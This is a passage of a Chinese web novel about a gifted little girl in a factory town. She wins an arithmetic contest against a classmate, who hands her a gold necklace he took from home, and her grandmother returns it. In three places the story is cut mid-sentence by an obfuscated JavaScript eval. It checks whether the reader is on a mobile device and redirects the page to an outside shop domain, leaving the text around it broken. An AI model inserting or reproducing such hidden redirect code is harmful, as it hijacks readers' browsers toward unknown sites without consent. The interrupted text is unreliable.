王钰:【飞机!我知道!我要造飞机打鬼子!】 虽然王钰被赵凤霞宠得有些娇气,但是思想那可没话说,又红又专的! 看着干劲满满的王钰,天书欣慰地点点头,又忽悠成功了。 其实就算王钰这周学不完初中语文数学,天书也会开放物理和化学的课程,考虑到王钰要自己造自行车,如果她成功的话,天书将会获得一大波能量,应该够它升一级。 为了庆祝王钰今天第一天上学,赵凤霞特意烙了她最喜欢吃的鸡蛋饼。金黄的蛋液裹着葱花,在热油里煎得鼓起小泡,边缘微微焦脆,散发出勾人的香气。 香气像小钩子似的,钻进里屋勾着王钰的馋虫。 王钰盯着课本上的方程式,鼻尖却一个劲地嗅着,最后实在按捺不住,她干脆关了书本,冲到厨房,扒着门框眼巴巴地看着赵凤霞:“外婆,好香啊,是不是鸡蛋饼?” 赵凤霞正用锅铲翻着饼,闻言回头笑眯了眼:“对嘞,咱们今天晚上吃鸡蛋饼,小宝喜不喜欢?” 王钰王钰使劲点头,大声喊道:“喜欢!” 看着王钰垂涎欲滴的样子,赵凤霞霞扯了半张刚烙好的鸡蛋饼放在碗里递给她:“你先吃吧,剩下的得等你爸妈回来再一起吃。” 王钰用力点头,接过碗就迫不及待地咬了一大口。外脆里软的饼皮带着淡淡的麦香,鸡蛋的鲜嫩混着葱花的清香在嘴里炸开,一点都不腻人。 王钰吃得眼睛都眯了起来,小嘴巴塞得鼓鼓的,含糊不清地说:“外婆,太好吃啦!” 她小口小口地嚼着,舍不得咽得太快,生怕一下子就吃完了。 没过多久,王建军和刘向华一块走了进来。刘向华眉头紧锁,脸色不太好看,王建军倒是满脸轻松,感觉像是刚睡了一觉。 赵凤霞晚饭端上桌,说到:“快洗手吃饭吧。” 一家人围坐在桌前,王钰捧着碗,小口喝着红薯粥,吃着鸡蛋饼,那认真模样看着赵凤霞心里软软的。 刘向华问道:“小宝,今天在学校怎么样?老师教得怎么样?学校有没有人欺负你?” 王钰摇摇头:“没人欺负我,但是老师教的好无聊啊,那么简单的东西要反复教。” 刘向华没有很意外,她一直知道王钰很聪明,而且之前她有空的时候,也教过王钰一些基础的东西。 王家吃饭没什么规矩,一般都是一边吃饭一边聊天。 赵凤霞问刘向华:“你们单位最近很忙吗?我看你最近天天早出晚归的。” 听到这话,刘向华放下筷子,叹了口气:“厂里的新机器不知道怎么回事,三天两头的坏,这台刚修好没一会,那台又坏了,明明是为了提高厂里的效率的,现在反倒耽误了,今天厂长已经决定先不用新机器了,等找出三天两头坏的原因,再继续用新机器。” 赵凤霞皱了皱眉:“还有这事?我就知道那些外国佬卖烂东西给我们!” 刘向华摇了摇头:“应该不至于,这批机器是海外华侨无偿捐赠的。” 赵凤霞肯定道:“那就是卖给华侨的外国人,故意买坏机器给我们!”赵凤霞是个极端主义者,她认为那些外国人都是坏的,特别是小鬼子。 刘向华没有否定,不排除有这种情况的存在。 王钰半张脸被碗挡着,只露出一双眼睛看着她们聊天。 赵凤霞霞扭头一看,就看到王钰这幅模样,又忍不住捏了捏她的小脸蛋。 赵凤霞扭头看到她这副模样,忍不住伸出手,轻轻捏了捏她的小脸蛋,软乎乎的:“我们小宝在想啥呢?” 王钰摇摇头,把嘴里的粥咽下去:“妈妈不要着急,等我上大学了,我帮你修机器。” 在赵凤霞的耳濡目染下,王钰以为大学生是全能的,什么都会。 听到这话,三个大人齐齐大笑。 王钰不知道发生了什么,但是看样子应该不是什么好事,她气鼓鼓的说:“不许笑!你们都不许笑!” 王建国揉了揉自己有些笑僵的脸:“等你上大学,那机器早就生锈到不能用了。” 赵凤霞勉强止住笑意,安慰王钰:“那小宝可要加油哦,咱们机械厂可全靠你了。” 王钰用力点点头:“你们放心,我肯定可以修改那个机器!” —— 第二天,赵凤霞就没送王钰去上学了,让她和沈晓兰一起去上学。 到了学校,赵东安排她们早读,但是才上一天课的小孩子们根本没学到什么东西,于是大家就跟着赵东念昨天教的一、二、三。 今天明显和老师感觉更熟了,大家面对赵东没有那么紧张。 而从未紧张过的王钰今天也更加精神点,至少没有在早读课上睡着。 王钰感觉虽然念的东西挺无聊的,但是和大家一起念还挺有意思的,王钰念的越来越大声。 “一!二!三!……”感觉仿佛不是在早读,是军训喊口号。 周围人也被王钰感染,念的越发大声,甚至有和王钰比比谁更大声的趋势。 从王钰开口开始,赵东就隐隐感觉不对了,接着,班里齐声朗读的声音越来越大,越来越大,大到最后,连赵东都忍不住喊道:“不用那么大声。” 然而并没有用,没人听到他的声音,距离他最近的王钰更是沉迷于自己的声音无法自拔。 最后,连学校另一端的校长都听到了动静,连忙从办公室跑出来,还以为出了什么事。走到教室门口一看,才发现是赵东的班在早读,孩子们一个个精神抖擞,声音洪亮。 校长十分欣慰地拍了拍赵东的肩膀,然后大声说道:“东子,不错不错!这早读氛围真好,我就知道你当班主任肯定行!” 赵东疑惑的看这校招张张合合的嘴,疑惑的大喊:“校长,你说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958568|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么——” 校长也意识到了这件事,不再说话,只是微笑着朝赵东竖起大拇指。 赵东看到那个大拇指,露出一个尴尬的笑容。 下课之后,王钰又和沈晓兰跑出去玩,这次是玩丢沙包。 游戏名字叫丢沙包,但实际上并不是沙包,而是用废纸团成的结实的纸团,小孩子丢的动,但砸在身上又不痛,是非常受小孩子欢迎的一个游戏。 王钰和沈晓兰被分到了被砸的那群人里。 王钰站在场地中间,脚掌紧紧贴住地面,眼睛死死盯着小胖手里的纸团。沈晓兰紧挨着她,整张脸都通红,不知道是激动的还是紧张的。 “看招!”小胖猛地扬起胳膊,纸团带着风声朝沈晓兰飞去。 “蹲下!”王钰一把拉住沈晓兰的胳膊往下按,纸团“嗖”地从她们头顶掠过,砸在后面的树干上弹了回来。 沈晓兰吓得拍着胸口喘气,王钰却笑得露出小白牙:“别怕,跟着我就没事!” 话音刚落,另一边丢纸团的人却突然变招,假装要砸王钰,手腕却猛地一转,纸团直奔旁边的小男孩而去。 那男孩没反应过来,被纸团砸中膝盖,只好噘着嘴退出场地。 场上的人越来越少,只剩下王钰、沈晓兰。 投掷的两人见状,开始加快速度,纸团在场地里飞来飞去。 沈晓兰左躲右闪,渐渐有些体力不支,眼看一个纸团就要砸中她的后背,王钰突然冲过去,一把将她拉过来,那纸团擦着她的衣角飞了过去。 “接招!”小胖使出浑身力气扔出纸团,这次直奔王钰的脚边,王钰身子一扭,又将纸团躲开了。 就在大家玩得热火朝天时,上课铃突然响了。 小胖不满自己丢沙包之王居然没将所有人都砸下场,朝王钰放下狠话:“下次继续,下次我第一个就把你丢下场!” 王钰朝他吐吐舌头,做了个鬼脸:“略略略,我才不信呢!你根本砸不到我!” 小胖本来就因为运动红起来的脸,听到这话,更红了,立马掏出自己的项链:“如果我做不到,我就把这个项链给你,如果你做不到,你就要当我小弟!” 王钰仔细一看,小胖从兜里掏出来的,居然是一条金项链! 王钰没认出来这是金项链,她只觉得这项链真好看,居然是黄色的,她立马应下了小胖的挑战:“好!”等她赢下这个项链,她就拿回去送给外婆。 赵东抱着课本来上课,听到两人准备比赛,没看到小胖拿出的金项链,担心两人是去约架,连忙说:“你们俩干啥呢!别打架啊。” 小胖梗着脖子:“我们才不打架呢,她这小身板,我一拳下去,她就倒了,我们比赛丢沙包。” 王钰马上反驳:“谁小身板啦!我那是灵活!” 小胖没接话,只是露出了不屑的表情,赵东看着两人,只觉得头都大了,挥挥手让两人进教室:“丢沙包也别比了,小心砸伤眼睛,这样,你们比赛学习行不行,等会上课我出十道题,谁先答出来谁就赢了,谁赢了,老师请你们吃糖。” 王钰和小胖对视一眼,两人眼中都露出了势在必得的神色:“好!” 王钰(天才儿童但外婆宝女):这项链我拿定了! 小胖(有点聪明但早就眼馋王钰的好人缘):这老大我当定了! 赵东没看出两人眼里的交锋,还觉得自己解决了一次未发生的冲突。 5. 比赛 小胖,大名赵石头,是个七岁的胖小子。他爸在国营肉联厂上班,每月能分五斤福利肉,而且时不时还能捎回些边角料,因此,作为家里的独生子,从小就被养得白白胖胖的,是奶奶的梦中情孙。 但是由于从小被家里人溺爱长大,小胖脾气不怎么好,院里的小孩都不太乐意跟他玩。 王钰就和他完全不一样了,同样是被溺爱长大,但是王钰就特别嘴甜,长得还好看,附近的小孩都乐意跟她玩。 虽然小胖嘴上不肯承认,但是他确实是非常羡慕王钰的好人缘的。 这节数学课,王钰难得没有觉得困,甚至还十分精神,虽然赵东讲的内容她还是没怎么听进去。 到了数学课的最后十分钟,赵东也看出来大家都没什么心思听课了,班上的人都听到两人在门口的赌约,都等着两人比赛呢。 赵东放下课本:“好了,最后几分钟,我来出题,你们来比赛看看谁算的又快又准。”他话音刚落,教室里立马安静下来,几十双眼睛齐刷刷盯着小宝和小胖。 才上两天学的小朋友能比什么,无非就是比一加一之类的了。 身为前高中老师的赵东很有公平竞技精神的,他让两个人走到教室后面去,然后转身,背对黑板,他自己则在黑板上写下了两份一模一样的题,都是十以内的加减法。 赵东放下粉笔:“好了,你们上来答题吧。” 王钰和小胖听到这话,立马转身,哒哒哒跑到黑板前,抓起讲台上的粉笔就写。 赵东本来对这场比赛心不在焉的,毕竟在他看来,一个上课睡觉的,和一个上课一直在玩铅笔的,两个人的水平应该差不多,一样差。 结果没想到,他低头喝口水的功夫,他黑板上的十道题,两人都答出来一半了,字迹虽然歪歪扭扭丑的出奇但都没出错。 赵东坐直了身子,眼神变得认真起来。 教室里只剩粉笔头敲击黑板的“噼里啪啦”声,两人奋笔疾书,几乎在同一时间放下了粉笔。 赵东走过去一瞧,两道题列答案一模一样,全对!他脸上露出这两天来第一个笑容,拍着手说:“不错不错,平局!老师奖励你们每人一颗水果糖。” 可没想到,两个孩子异口同声:“不行,再比一轮!” 赵东疑问:“两个人都有糖不好吗?老师觉得你们俩都很厉害。” 王钰摇摇头:“不行,没有平局的比赛,老师你出难一点的题,糖可以不吃,但是一定要比出输赢!”而且老师给的糖她吃过,不好吃的。 赵东没想到居然还有小孩能够抵挡住糖的诱惑,此子心志坚定啊! 赵东看离下课还有几分钟,点点头:“好,既然你们都这么要求了,那我就出难一点的题目。” 两人重新回到教室后面,转身背对黑板。 赵东这次出了十道一百以内的加减法,这些他都没教,但看刚才两人的反应,应该是家里人都私下给两人开小灶。 “开始!” 两人又一阵风似的冲上去。 这次差距立马显出来了:小宝扫一眼题目就下笔,粉笔字写得又快又潦草,跟小鸡啄米似的;小胖则要盯着题目琢磨一两秒才敢写,额头上渐渐冒出了细汗。 看到两人的差距,下面有人嘀嘀咕咕。 “不愧是小宝,真厉害!” “这么快,不会是瞎写的吧?老师昨天布置的课后作业我不会写,我就瞎写上去了。” “不可能,你不知道吗?小宝妈妈是大学生,是厂里的高级工程师呢,小宝随她妈,可聪明了。” “哇,我妈妈要是也那么厉害就好了,那我肯定也能天天吃糖。” 王钰写完最后一道题,“啪”地放下粉笔时,小胖才写到第五题。听到粉笔落地的声音,小胖更急了,手心全是汗,后面五道题写得困难,比平时慢了大半。 终于,小胖也答完了,不过受到了王钰的影响,虽然都答对了,但是明显比王钰慢多了。 赵东满意的摸摸两人的头,语气十分温和:“你们两人都很厉害,不过,还是王钰更胜一筹,我宣布,这次比赛,是王钰赢了!” 小胖不能接受这个结果,急得眼泪都快掉了:“再来一轮!我只是加减法比较差,我乘除很厉害的!” 王钰得意地抬起头:“比就比,反正我肯定比你更厉害!” 这时候已经下课了,赵东没想到两人宁愿放弃出去玩,也要在这里继续比赛,不过和他爸一样惜才的赵东没有拒绝两人。 赵东:“好吧,这次我念题目,你们两个抢答,一共三道题,谁答出两道以上,谁就赢了,行不行?” 两人齐声:“行!” 由此,俩人开始了快问快答的比赛环节。 同班的人也不出去玩了,就在教室里面看两人的比赛,隔壁班来找王钰玩的人也停下脚步,在窗户或者门口看两人比赛,甚至连隔壁刚下课正往办公室走的老师,都被吸引住了。 赵东:“二十九乘以三十六等于多少?” 王钰仿佛都没思考的时间,立马举手,脆生生地喊:“一千零四十四!” 教室内外都传来了惊呼声。 而小胖则瞪圆了眼睛看向王钰,仿佛没料到王钰居然能回答的这么快,他甚至才刚反应过来赵东说了什么。 赵东也没想到王钰直接秒答,他脸色严肃起来,刚才的数字他是随便乱报的,王钰这个是否是正确答案,他也不能马上确认。 这时候,在门外看热闹的老师李丽丽喊道:“是对的,我刚才算了!” 众人转头向外望去,只见李丽丽手里正举着一个算盘,这个老师是个用算盘的好手,基本没算错过。 赵东终于意识到,眼前这个不过五岁的小孩,可能是一个天才,仅仅靠家里人开小灶,是绝对做不到的。 赵东继续说:“五十六乘以九十八等于多少?” “五千四百八十八!”王钰几乎没停顿,嘴角还带着调皮的笑。 赵东看向另一个老师,那个老师手里的算盘啪啪响,然后朝赵东点点头。 赵东深呼一口气,这时候他已经顾不上旁边的小胖了,又看向王钰:“三百六十七乘以九百八十六等于多少?” 王钰笑嘻嘻地回答:“三十六万一千八百六十二” 拿算盘的老师手里不停地拨弄着算盘,最后同样惊讶地看向赵东,点点头。 而被他们无视的小胖,这时候都顾不上被无视的伤心了,只是呆呆的看着王钰,心里只有一个想法,他奶骗他!他根本就不是全机械厂最聪明的小孩! 赵东十分小心地摸了摸王钰的头,生怕摸坏了这个聪明的大脑:“王钰,你之前学过珠心算吗?” 小宝摇摇头,大眼睛眨了眨:“没听说过。” 赵东继续问:“那你是怎么算得这么快的?” 王钰歪了歪头,理所当然的说道:“看一眼就知道答案了啊!” 那理算当然的语气,让旁边的小胖喉咙一梗,在这个还没有“凡尔赛”一词出现的年代,小胖已经受到了这个伤害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958569|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵东蹲下来直直看着王钰的眼睛:“那你能不能告诉我,你学这些加减乘除多久了?谁教的你呀?” 王钰不假思索的说:“学了一个星期了,天书教我的。”其实并没有一个星期,这期间王钰玩得时间占大部分,也就是偶尔玩累了或者想看动画片了,才学一会。 但这话,落在其他人耳里就变成了:“学习了一个星期了,自学的。” 这是天书(系统)的自我保护功能,和天书有关的内容无法被描述出来,会被扭曲成其他合理的东西。 天书也在脑海里提醒:【小宝,其他人听不到你说的这个事,他们只以为是你自己学的。】 王钰:【哦,怪不得我之前跟我外婆说天书,外婆以为我想要小人书。】 另一边的赵东站起来,和那个拿算盘的老师互相对视一眼,都从对方眼里看到了惊喜——这绝对是个好苗子! 至少他们教书这么多年,从来没听说过哪个五岁的小孩可以用这么快速准确的算数,就算是学珠心算,那也是需要大量时间训练的,但是刚才看王钰这模样,根本就不像有训练过的痕迹。 那算盘的老师李丽丽反应最快,立马把王钰拉到一旁,对王钰说:“王钰同学,你想不想学物理啊,物理很好玩的。” 赵东立马拉住王钰另一只手,朝李丽丽喊道:“你干什么!这是我的学生!而且就你会物理吗?我之前也教了两年物理啊!”赵东之前在高中确实教了两年物理。 李丽丽讪笑:“哎呀,那我不是希望咱们小天才王钰同学可以多学一点东西嘛,你那么小气干嘛,我这也是为了王钰好啊。” 赵东发出一声嗤笑,他会不知道她心里想得什么?不就是想抢学生嘛!哼!绝对不行! 小宝被两个老师拉着,听着他们夸自己,得意地挺了挺小胸脯,脑海里响起天书的提示:【能量+10%。】[注:是当前等级能量的5%,不同等级的能量上限不同,可以看做是游戏里面的经验条]] 她心里美滋滋的,外婆说得对,她就是小天才! 语文老师已经来上课了,看到一堆人围在门口,敲了敲门问道:“这是在干嘛?” 赵东看到有人来上课了,朝语文老师露出一个带歉意的笑容:“不好意思啊,我们现在就走。” 然后赶着李丽丽一起走了,围观的学生也纷纷散开,回到自己的座位。 在王钰也转身准备回到自己的位置上的时候,小胖拉住了她的手。 王钰转身一看,只见小胖双眼通红,眼里还含着泪,往她手里塞了什么东西,瓮声瓮气地喊:“给你!” 说完,就转身跑向自己的位置了。 王钰打开手一看,是刚才的赌注,金项链。 原本自信满满要赢个项链给外婆戴的王钰,这时候拿到了项链又有些犹豫了,小胖刚才好像哭了。 小胖看王钰站在原地犹豫的样子,带着哭腔喊道:“给你就是给你了!别还给我了,我门大老爷们一个唾沫一个钉!” 王钰看着白白胖胖的小胖,怎么都和大老爷们搭不上边,不过小胖都这么说了,她最后还是美滋滋的收下了这个金项链。 没想到看上去有点讨厌的小胖,居然这么说话算话,以后不讨厌他了。(虽然本来也没多讨厌他)。 王钰一坐下,旁边的沈晓兰就凑过来,声音里充满了崇拜:“小宝,你真厉害!你是机械厂最聪明的人!” 王钰听到这话,嘴角怎么也压不下来,只能得意的说:“低调啦低调。” 6. 还项链 自从王钰比赛赢了之后,最开心的不是王钰,而是赵东。 赵勇忙到天黑了才回到家吃晚饭,最近新机器老是坏的问题,他这个厂长身上也背负着很大的压力,毕竟是自己艰难争取来的机器,结果到自己手上,不仅没提升厂里的效率,反而把整条生产线的节奏都拖慢了,他白天泡在车间跟技术员琢磨,晚上躺床上也琢磨这事。 也正是因为赵勇的事情,最近家里的氛围都不怎么好。 但没想到今天一进门,满屋子的欢声笑语差点把他惊着。 只见在学校板着脸的赵东这会正眉飞色舞地比划着什么,赵奶奶坐在一旁,笑得皱纹都挤在了一起。 “爸,你回来了。”赵东见他进门,立马起身递毛巾,语气里满是按捺不住的兴奋。 赵勇擦着手,往桌边坐:“这是遇上啥喜事儿了?瞧你们乐的。” 赵奶奶给赵勇盛了一碗饭递给他,语气里还带着笑意:“还不是你儿子,正学他班上俩孩子比赛呢,那模样,逗得我哟。” “奶奶!”赵东有点不好意思地咳了咳,坐直了身子,一本正经道,“我可不是瞎比划,那王钰是真能耐!今儿她跟赵石头比算数,三位数的乘法,她张嘴就给出正确答案,连李丽丽拿算盘都没她算的快。” 他越说越起劲,连比划带描述,把俩孩子比赛的架势说得活灵活现:“我看啊,那王钰就是块璞玉,要是好好教,将来绝对是国家栋梁!” 赵勇越听,眼睛越亮。 赵勇和赵东俩父子,在惜才这方面上,简直是一模一样。 当初多少人才被下放,他凭借着在部队有些人脉,硬是偷偷保住了不少,厂里的学校也是他撑着不关。 现在听到有个这么聪明的小孩,那简直就是跟天上掉馅饼,还直接掉进他怀里没区别。 赵勇赶紧问:“这谁家小孩?等过两天有空了,我上门看看。” 赵东早在发现王钰这块美玉之后,立马就去翻了王钰的档案:“她妈妈是刘向华,是厂里的工程师,你应该知道吧!” 赵勇声音突然大了起来:“哎,我知道!刘向华可是我们厂里为数不多的大学生,平常机器有什么问题,她都能解决,这次新机器出问题也是她在修!是她的孩子啊,怪不得那么聪明!” 赵东还颇为得意:“今天李丽丽还想跟我抢这个学生呢,还好王钰是被分到我班上。” 赵勇用力拍了拍赵东的肩膀,哈哈大笑:“你小子,跟你爹我一样运气好!” —— 另一边,王钰家的晚饭桌上,气氛也是热热闹闹。 赵凤霞把鸡蛋羹往王钰跟前推了推:“小宝快吃,补补脑子,今儿上学累着了吧?” 王钰没立马吃,她小身子往前探了探,眼睛亮晶晶的,带着点神秘兮兮的劲儿:“外婆,我今天给你带了礼物,你猜猜是什么?” 赵凤霞惊讶,然后做出思考状:“是不是给外婆买糖吃了?还是你的自行车做好了?” 王钰使劲摇头,小脑袋晃得像拨浪鼓:“不对不对,外婆你继续猜。” 刘向华看着两人黏糊的模样,有些醋了:“怎么就只给外婆带礼物,不给你妈我带礼物?” 王建军也凑热闹:“还有我呢?我可经常带红烧肉给你吃呢。” “那是外婆让你带的!”王钰歪着脑袋反驳,“你们别急呀,下次就给爸爸妈妈带礼物,这次的先给外婆!” 赵凤霞笑得眉眼弯弯,摇摇头:“外婆猜不着了,小宝快拿出来给外婆瞧瞧。” 王钰得意地笑起来,小脸蛋红扑扑的,从兜里掏出一个东西,紧紧攥在手里。 等全家人的目光都集中在她手上,她才慢慢张开手指,露出里面细细的一条黄澄澄的链子:“当当当,这是送给外婆的项链!外婆你喜不喜欢!” 赵凤霞的笑容僵在脸上,伸手想去碰又不敢,声音都有点发颤:“小宝,告诉外婆这是哪里来的?” 王钰眨着大眼睛,疑惑的看着突然不笑的大人们:“这是我今天赢来的。” 王建军拿起王钰手里的项链,翻来覆去的看:“这是金的吗?”王建军没见过金子,但是也知道金子是黄色的。 赵凤霞一把从他手里抢过项链,小心翼翼地放在一块帕子上,手抖得更厉害了:“向华,你快瞧瞧,是不是真金的?我瞅着怎么这么像呢。” 刘向华拿起帕子,借着煤油灯的光仔细看了看,缓缓点头:“妈,应该是足金的,分量还不轻。” 赵凤霞倒吸一口凉气,哆哆嗦嗦的把用帕子裹着的金项链放在桌子上:“小宝啊,这东西外婆不能要啊,你告诉外婆这是谁给你的,咱们还回去。” 王钰不理解:“这是今天和小胖比赛,小胖输了,就把这个项链给我了,我不要,小胖还不高兴呢。” 大人们心里有数了,这金项链大概是小胖从家里拿的,并且他也不知道这项链的价值。 刘向华感叹:“我原本以为咱们家小宝就已经够调皮了,没想到小胖更调皮啊,他奶奶知道还不得打死他啊。” 赵凤霞摸摸王钰的脑袋:“小宝想送外婆项链,外婆很高兴,但是这个项链是金项链,应该是小胖趁家里人不注意从家里偷的,咱们不能做这种缺德的事,等会吃完饭,咱们就去把项链还给他们。” 王钰这才知道这项链的价值,听到外婆的提议,也乖巧的点点头。 而此刻的赵家,正闹得鸡飞狗跳。 起因是,小胖的爸爸赵爸刚从肉联厂下班,进门就喊:“妈,给我拿两块钱,明儿我再买点猪肉。” 赵奶奶应着,转身进了里屋,打开墙角的樟木箱。 箱子里铺着旧棉花,钱和粮票都放在里面。 她伸手去翻压在最底下的小布包,那里面放着钱和家里唯一一条金项链,是她当年出嫁时的陪嫁,也是家里的应急钱,指望将来给小胖娶媳妇用的。 可翻来翻去,那金项链不见了! 赵奶奶赵奶奶吓得魂都没了,连忙把全家人喊进屋,声音里满是焦急:“你们谁拿了金项链!” 赵家人口简单,赵奶奶只生了赵爸一个孩子,赵爸也只有小胖一个儿子,因为也没有什么财产隐瞒,家里的大人都知道自家有个金项链。 听到赵奶奶这话,赵爸急了,连忙问:“怎么回事?金项链不见了?谁进过这屋?谁偷了?” 赵奶奶急得眼泪都快出来了:“我前天拿钱买肉的时候还看到了,今天来拿钱的时候就没了。” 赵妈也慌了:“妈,你数数钱和票少没少?要是小偷进来,不能只偷项链不偷钱啊。” 赵奶奶赶紧数了一遍,出来时脸色稍缓,却依旧焦急:“钱和票都没少,一分不多一分不少。” “那肯定不是外人偷的。”赵妈松了口气,又皱起眉,“这两天谁进过里屋啊?” “就我一个人啊,你们俩都没进来过。”赵奶奶忽然一拍大腿,“对了!石头!昨天晚上石头跟我睡一起。” 赵强立马扭头往外喊:“赵石头!你给我进来!” 小胖正在外面里啃红薯,听见爸爸凶巴巴的声音,磨磨蹭蹭地进了屋,嘴里还嚼着东西:“爸,喊我干啥?” 赵强盯着他的眼睛,语气严肃:“石头,你有没有拿这里面的项链?” 小胖满不在乎地点点头,把最后一口红薯咽下去:“拿了啊。” 赵奶奶扑过去抓住他的胳膊:“那项链呢?快还给奶奶。” 小胖摆摆手,一副无所谓的样子:“送给别人了。” 赵奶奶急了:“怎么能送给别人呢,送给谁了,快要回来!这可是留着以后给你娶媳妇用的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958570|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小胖在这时候还想着自己“大老爷们一口唾沫一口钉”的人设呢,硬是不肯说:“我看那项链好看我就拿了,不就是一个项链吗?我都送给别人了,不能再要回来了,不然我这脸往哪放啊!” “你个小兔崽子!”赵爸气得脸都红了,一把拎起小胖,按在膝盖上,“啪”的一声就扇在了他的屁股上,“你说不说!你偷东西还有理了啊!你要是不说,我打死你!” 小胖的屁股火辣辣地疼,眼泪在眼眶里打转,却梗着脖子不肯说:“我不说!说了多没面子!大老爷们得说话得算话!你打死我都不说!” 看到他这样,怒火涌上赵爸的心头,巴掌啪啪啪的落在小胖的屁股上:“说!给谁了!” 小胖的屁股被打的通红,他的眼睛也通红,但还是嘴硬:“不说!” 赵爸还想继续打,赵奶奶先受不了了,她拉住赵爸的手:“怎么能打孩子呢,你好好跟他说,他能听进去的,打坏了可咋整。” 赵爸怒道:“你看他这是要说的样子吗?我看他不是给别人了,他是弄丢了,这才不敢说!” 小胖都痛死了,也扭头不看赵爸,一幅拒绝沟通的样子。 赵爸越想越气,拎起旁边的棍子就想往小胖身上招呼,这下子连旁边的赵妈都看不下去了,两人连忙拦住赵爸。 “别急别急,别用棍子打孩子,这打下去,孩子就得去医院了。” 就在这时候,外面突然传来了敲门声。 “赵奶奶,你在家吗?” 是王钰的声音,赵凤霞带着王钰来上门还金项链了。 里面的大人对视一眼,把小胖收拾好,赵奶奶就去开门了。 一开门,就看见赵凤霞和王钰站在外面,赵奶奶脸上扯出一个笑容:“赵妹子啊,来找我有啥事吗?” 赵凤霞拉着王钰进院子里,这可不能在外面就把金项链掏出来。 赵凤霞一进院子,就发现里面三个人好像表情不太好,特别是小胖,看上去刚哭过。 赵奶奶见外人看到这副样子,有些不好意思,连忙转移她的注意力:“咳,妹子,啥事啊?” 谁知,赵凤霞所说之事,正是他们家家庭战争的矛盾点。 赵凤霞一眼就看出了小胖肯定挨过骂,连忙走向前去,拉住小胖的手:“我们是来还项链的,你们别打孩子了。” 赵凤霞从兜里掏出用手帕裹得严严实实的金项链,递给赵奶奶:“看,这是不是就是你们家的项链!” 赵奶奶接过一看,果然是自家的项链。 赵凤霞解释道:“你们家小胖和我们家小宝比赛,小胖比赛输了,就把这个项链给我们家小宝了,两人都不知道这是金项链,刚才吃饭的时候,小宝拿出项链送给我,我这才发现这项链是金项链。我刚吃完饭,就带着小宝把项链还给你们了。” 赵奶奶捧着失而复得的金项链,心脏差点受不了,连连感激:“谢谢你啊妹子!我真是拿我家这孩子没办法了,什么东西都敢拿,刚才问他给谁了,也不肯说,我们真是要急死了!” 赵凤霞笑着摆手:“害,这个年纪的小孩子都调皮,你们也别打孩子,好好跟他讲道理,他能听得懂的。” 两人又聊了几句,赵凤霞就准备拉着王钰走了,在王钰准备打开门的时候,一直安安静静的小胖突然大喊:“王钰!我是个汉子,既然你没要项链,那我以后就认你做老大!” 大人们安静了一瞬,然后赵爸一个巴掌就糊上了小胖的后脑勺:“你个毛都没长齐的小屁孩,算什么汉子!给我老老实实吃饭!” 然后扭头对赵凤霞说:“赵婶,别听这小子瞎说,你先回去,明天我让石头拎着鸡蛋去你家道谢!” 赵凤霞摆摆手:“害,可别这么客气,都是街坊邻居,应该的。”说完,就带着王钰走了。 7. 赵东劝学 最后小胖有没有挨打,王钰不知道,反正王钰这一晚上都很开心,外婆因为外孙女给自己送金项链(虽然没送成)而高兴得又塞给王钰五毛零花钱,天书因为能量又涨了百分之十而高兴得多给王钰放了十分钟的动画片。 王钰第二天开开心心得和沈晓兰一起去上学了,一进教室,就看见小胖守在王钰的桌子旁边,从外表上看,应该是没受到什么皮肉伤。 看见王钰,他立刻挺直腰板,努力板着小脸装成熟:“老大,你来了!” 听到这个称呼,沈晓兰疑惑的看着王钰,王钰拒绝道:“我不要当你的老大。” 小胖急了:“为啥?别人想当我老大还当不了呢!” 王钰歪歪头看着他:“那你找别人当老大不就行了吗?” 小胖不假思索的拒绝了这个提议:“不要!我只认能赢过我的人当老大!” 小胖在上学之前就被他爸教过一段时间的小学内容了,他是挺聪明的,因此从他开始学开始,家里人包括他爸,对他的夸奖就没停过,简直把他形容成天下第一聪明小孩了。 昨天的失败确实对他打击很大,当然,这也让他认准了王钰这个老大,特别是当时,在危急之中,他老大居然千里迢迢带着金项链来救他于危难之中!那一刻,他就认定了王钰就是他真正的老大! 王钰理所当然的说道:“当你老大又没什么好处,我为什么要当你老大?” 小胖慌忙从口袋里掏出块糖:“我可以把我的糖分给你吃!” “不要,我外婆也会给我糖吃!” 小胖挥了挥手臂:“我可以帮你打架!我打架很厉害!” “没人跟我打架呀,大家都想跟我玩。” 人缘超差的小胖没招了:“我、我可以帮你写作业。”这句话说到最后几个字,小胖的声音越来越小了,他好像确实不配当王钰的小弟,写作业,她肯定更看不上了,毕竟她那么聪明。 没想到,王钰听到这话,反而眼前一亮,立马答应道:“好!你帮我写作业,我就认你做小弟!” 小胖呆住了:“老大,你那么聪明也要别人帮你写作业吗?” 